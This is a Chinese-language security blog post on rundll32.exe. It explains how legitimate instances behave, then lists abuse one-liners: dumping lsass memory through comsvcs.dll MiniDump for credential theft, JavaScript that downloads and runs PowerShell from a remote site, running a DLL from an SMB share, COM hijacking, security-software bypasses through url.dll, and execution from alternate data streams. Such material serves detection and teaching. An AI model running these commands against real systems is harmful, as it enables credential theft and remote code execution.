恶意软件作者通常会编写恶意软件模仿合法的Windows进程。因此,我们可能会看到恶意软件伪装成svchost.exe、rundll32.exe或lsass.exe进程,攻击者利用的就是大多数Windows用户可能都不清楚这些系统进程在正常情况下的行为特征。在这篇文章中,我们将深挖rundll32.exe,以期对其有所了解。
- 关于 Rundll.exe
顾名思义,rundll32.exe可执行文件是用于运行DLL(RUN DLL),即运行动态链接库的。
在MSDN中,对DLL的定义如下:
动态链接库(DLL)是一个模块,其中包含可以由另一个模块(应用程序或DLL)使用的函数和数据。
以下是使用rundll32.exe的最基本语法:
- rundll32
rundll32.exe可执行文件可以是子进程,也可以是父进程,具体要取决于执行的上下文。为了确定一个rundll32.exe实例是否属于恶意,我们需要确认几件事。首先,需要确认启动它的路径,其次是命令行。
合法的RUNDLL32.EXE进程始终位于:
\Windows\System32\rundll32.exe
\Windows\SysWOW64\rundll32.exe(64位系统上的32位版本)
至于rundll32.exe实例的命令行,完全取决于要运行的内容,例如CPL文件、DLL安装等等。
下面我们将详细介绍一系列 rundll32.exe 调用和对应的作用。
案例:
- SHELL32.DLL – “OpenAs_RunDLL”
Rundll32.exe还可以执行DLL中的特定函数。例如,当选择一个文件并右键单击时,将会显示出一个上下文菜单,其中包含多个选项。这里的一个选项是“OpenWith”(打开方式)。在点击后,将会出现一个弹出窗口,可以从系统上安装的应用程序中进行选择。
在此过程的背后,是使用 shell32.dll 和 OpenAs_RunDL 函数启动 rundll32.exe 实用程序,实际上就相当于在后台执行了以下命令:
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL < file_path >
拿修改 hosts 文件举个例子,通过 WIN+R 执行以下命令,即可弹出该选择窗口:
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL C:\Windows\System32\drivers\etc\hosts
这种在DLL中调用特定函数的行为非常普遍,因此我们恐怕无法将所有函数都了解全面。
- SHELL32.DLL – “Control_RunDLL”
我们发现与shell32.dll一起使用的另一个常见函数是Control_RunDLL或Control_RunDLLAsUser。这两个函数用于运行.CPL文件或控制面板选项。
例如,如果我们要更改计算机的日期和时间,可以从控制面板启动对应的applet。
在后台,Windows实际上是使用以下命令行启动了rundll32.exe实例。
C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\timedate.cpl
打开防火墙:
C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\firewall.cpl
很显然,这里的 CPL 文件也可以被替换成恶意文件,所以一旦出现可疑的路径及文件名,我们就需要结合其它工具来检查它的合法性。
除了检查.CPL文件外,在使用 Control_RunDLL 或 Control_RunDLLAsUser 函数时,应该一并检查所指向的.DLL文件合法性。
- DLL文件的调用
攻击者如果使用合法的 DLL 文件来完成攻击活动,按照传统的检测手段,确实会大大增加防守难度,例如利用 comsvcs.dll 中的 MiniDump 函数对目标进程进行内存转储,从而实现凭证窃取,参考这里:
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full
类似的还有 advpack.dll,原本是用于帮助硬件和软件读取和验证.INF文件,也会被攻击者用做代码执行,参考这里:
c:\windows\system32\rundll32.exe advpack.dll,LaunchINFSection c:\360\360.png,DefaultInstall
当然,这些攻击手法在实际使用过程中肯定会有许多变种,用于绕过一些常规的检测方式,比如 MiniDump 函数的调用也可以通过编号 #24 完成,感兴趣的朋友可以看看这里:
- 从 SMB 共享执行 DLL
rundll32.exe \\10.10.10.10\share\payload.dll,EntryPoint
使用 Rundll32.exe 从 SMB 共享执行 DLL。EntryPoint 是 .DLL 文件中要执行的入口点的名称。
用例:从 SMB 共享执行 DLL。
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 执行 JavaScript 脚本
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('https://www.chwm.vip/');")
使用 Rundll32.exe 执行 JavaScript 脚本,该脚本运行从以下位置下载的 PowerShell 脚本一个远程网站。
用例:从 Internet 执行代码
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 执行运行外部程序
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
使用 Rundll32.exe 执行运行 calc 的 JavaScript 脚本。EXE文件。
用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 执行运行外部程序并杀死 rundll32.exe 进程
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
使用 Rundll32.exe 执行运行 calc.exe 的 JavaScript 脚本并杀死启动的 Rundll32.exe 进程。
用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 执行调用远程 JavaScript 脚本
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://www.chwm.vip/test/test.js")
使用 Rundll32.exe 执行调用远程 JavaScript 的 JavaScript 脚本。
用例:从 Internet 执行代码
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 执行 VBScript 脚本代码
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";window.execScript("msgbox('a')","vbs");window.close()
使用 Rundll32.exe 执行调用 VBScript 脚本。
用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 加载已注册或劫持的 COM 服务器
rundll32.exe –localserver < CLSID_GUID >
rundll32.exe –sta < CLSID_GUID >
使用 Rundll32.exe 加载已注册或劫持的 COM 服务器有效负载。也适用于 ProgID。
二者均可以用于加载恶意注册的COM对象。
需要验证相应的注册表项\HKEY_CLASSES_ROOT\CLSID\
推荐大家阅读以下文章,以详细了解这种技术。
https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
用例:执行 DLL/EXE COM 服务器负载或 ScriptletURL 代码。
所需权限: 用户
操作系统:Windows 10(可能还有以前的版本)、Windows 11
- 执行命令绕过安全软件
rundll32 url.dll, OpenURL file://c:\windows\system32\calc.exe
rundll32 url.dll, OpenURLA file://c:\windows\system32\calc.exe
rundll32 url.dll, FileProtocolHandler calc.exe
这是经过反汇编分析 Url.dll 得出的结果,可以成功绕开大部分安全软件。
用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 备用数据流
rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
使用 Rundll32.exe 执行存储在备用数据流 (ADS) 中的 .DLL 文件。
用例:从备用数据流执行代码
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
- 执行 HTML 代码
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication < HTML Code >
使用 Rundll32.exe 调用 mshtml.dll 运行 HTML 代码。
用例:代理执行
所需权限: 用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11
总结
感谢大家的阅读,希望能通过本篇文章对 Rundll32.exe 有所了解。
Rundll32.exe 还有更多利用的方法,本文将持续更新。。。